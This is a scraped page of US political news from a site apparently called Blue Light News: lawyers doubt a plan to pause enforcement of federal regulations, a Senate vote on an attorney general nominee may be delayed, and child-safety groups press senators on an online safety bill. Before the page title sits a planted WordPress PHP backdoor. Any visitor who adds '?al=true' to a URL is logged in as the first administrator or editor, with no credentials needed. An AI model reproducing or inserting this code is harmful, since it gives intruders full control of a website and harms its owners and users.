// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Musk wants to stop enforcing regulations. Why that’s ‘almost meaningless.’ – Blue Light News
Connect with us

Congress

Musk wants to stop enforcing regulations. Why that’s ‘almost meaningless.’

Published

2 years ago

on

Elon Musk and Vivek Ramaswamy outlined a plan to help companies avoid environmental regulations: The government could just refuse to enforce its own rules.

But some lawyers who specialize in federal regulation expressed doubt that companies would benefit from such a plan — or even want it.

“I don’t think it would really reduce the burden on industry for the most part, because companies have a legal obligation to comply with regulatory requirements,” said Jeff Holmstead, a former EPA air chief under President George W. Bush who represents industry clients at Bracewell LLP.

Musk and Ramaswamy, whom President-elect Donald Trump named to co-lead the so-called Department of Government Efficiency, asserted in a recent Wall Street Journal op-ed that Trump could “immediately pause the enforcement” of rules that his team deems are unneeded or harmful.

“This would liberate individuals and businesses from illicit regulations never passed by Congress and stimulate the U.S. economy,” they wrote.

It’s true that departments and agencies have latitude when deciding whether to make a company follow rules related to things such as reducing climate pollution or installing new carbon-catching technologies. They can also decide not to pursue certain cases because of a lack of resources, and they can determine when to treat a case as civil or criminal, or whether to impose administrative penalties.

That might make it hard for outside groups to sue federal offices for failing to act.

“It’s difficult to sue an agency for not enforcing a rule if they have enforcement discretion,” said Michael Gerrard, faculty director of the Sabin Center for Climate Change Law at Columbia Law School.

But those protections don’t apply to the companies themselves, according to lawyers.

Under most environmental statutes — including the Clean Air Act, the primary vehicle for climate regulation — citizens with standing can sue companies for violations when states and federal regulators opt not to. If they win, companies may have to pay monetary settlements and attorneys fees. And they may be required to suspend operations at a facility or secure permits.

For example, if a utility built a new coal-fired power plant but didn’t secure permits under a 2015 standard requiring partial carbon capture — which remains in force — a federal enforcement pause would not protect it from citizen lawsuits and angry investors.

“So, yeah, this idea that somehow announcing you’re not going to enforce existing regulations is not only not a panacea, but it’s almost meaningless,” said Holmstead.

“The only way to reduce the regulatory burden is to actually change the regulations,” he added.

Related Topics:
Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Congress

Blanche vote could be postponed, Cornyn says

Published

2 hours ago

on

July 28, 2026

By

A crucial committee vote on Todd Blanche’s nomination as attorney general could be postponed, Sen. John Cornyn said Tuesday, amid a struggle over changing a settlement agreement Blanche brokered between President Donald Trump and the IRS.

Cornyn (R-Texas) said a delay in the planned Senate Judiciary Committee vote Thursday is “being discussed but hopefully … won’t be necessary” as he pushes for ironclad modifications to the IRS settlement that created a $1.8 billion “Anti-Weaponization Fund” and immunized Trump from tax audits.

“If there’s not enough votes to confirm him, then Senator Grassley might decide to postpone it. But I don’t think that’s the No. 1 goal right now,” Cornyn said, referring to Judiciary Chair Chuck Grassley (R-Iowa).

Cornyn said he had discussed the idea of postponement with other senators but not directly with Grassley. A spokesperson for Grassley did not immediately respond to a request for comment.

Cornyn and Sen. Thom Tillis (R-N.C.), who has also been undecided on Blanche’s nomination, have significant leverage. Due to blanket Democratic opposition, it would take only one Republican “no” to effectively kill Blanche’s nomination.

Cornyn and his staff have been talking to the Justice Department about modifying the settlement, and the senator insists he wants the changes in writing.

“They know what they need to do,” Cornyn said Tuesday about DOJ. “They just don’t want to do it.”

Continue Reading

Congress

It’s Newt (and Russ and James)

Published

3 hours ago

on

July 28, 2026

By

Senate Republicans will hear from White House budget director Russ Vought and President Donald Trump’s top legislative aide, James Braid, at their weekly Wednesday lunch. Former Speaker Newt Gingrich will also attend, according to a person granted anonymity to disclose private scheduling.

The visit from Vought and Braid comes as GOP senators struggle to coalesce behind a budget blueprint for a new $95 billion party-line spending bill that is backed by the White House.

Continue Reading

Congress

Kids’ safety advocates draw red lines for Senate online safety package

Published

5 hours ago

on

July 28, 2026

By

A coalition of 60 child safety groups is urging top lawmakers on the Senate Commerce Committee to take up robust online safety legislation in a markup tentatively expected next week.

In a letter sent Monday and shared first with Blue Light News, the bloc demanded that committee Chair Ted Cruz (R-Texas) and ranking member Maria Cantwell (D-Wash.) only consider legislation with a “duty of care” standard that would require tech companies to mitigate harms they know their platforms cause children.

When the House passed a kids’ online safety package last month, it did not include the provision — an omission that the groups said neutered the bill and “would not actually make kids safer online.”

“This approach would immunize platforms from accountability for the design choices, such as engagement-maximizing feeds, autoplay, and algorithmic amplification, that drive documented harms to young people,” wrote the signers, which include Common Sense Media, Design It For Us, ParentsTogether Action and the Young People’s Alliance.

They also asked the senators not to preempt state artificial intelligence laws and to instead follow the House’s model, in which states could craft regulations stricter than the federal standard.

“Families who have lost children to online harms have spent years telling their stories to this Congress,” the coalition wrote. “And with each day Congress fails to act, more children are being harmed and are dying.”

Last week, Cruz and Sen. Marsha Blackburn (R-Tenn.), who has been negotiating a safety-focused legislative package with the White House, met with President Donald Trump in the Oval Office. Trump did not commit to throwing his political weight behind her effort after Cruz said it did not have enough support to clear the chamber.

Meanwhile, Sen. Andy Kim (D-N.J.) introduced the Digital Age Assurance Act on Thursday. Modeled after a similar California bill, it would require operating system providers such as Apple and Google to collect users’ ages in an effort to ensure that children see only age-appropriate content online.

Cruz and Cantwell did not immediately respond to a request for comment.

Continue Reading

Trending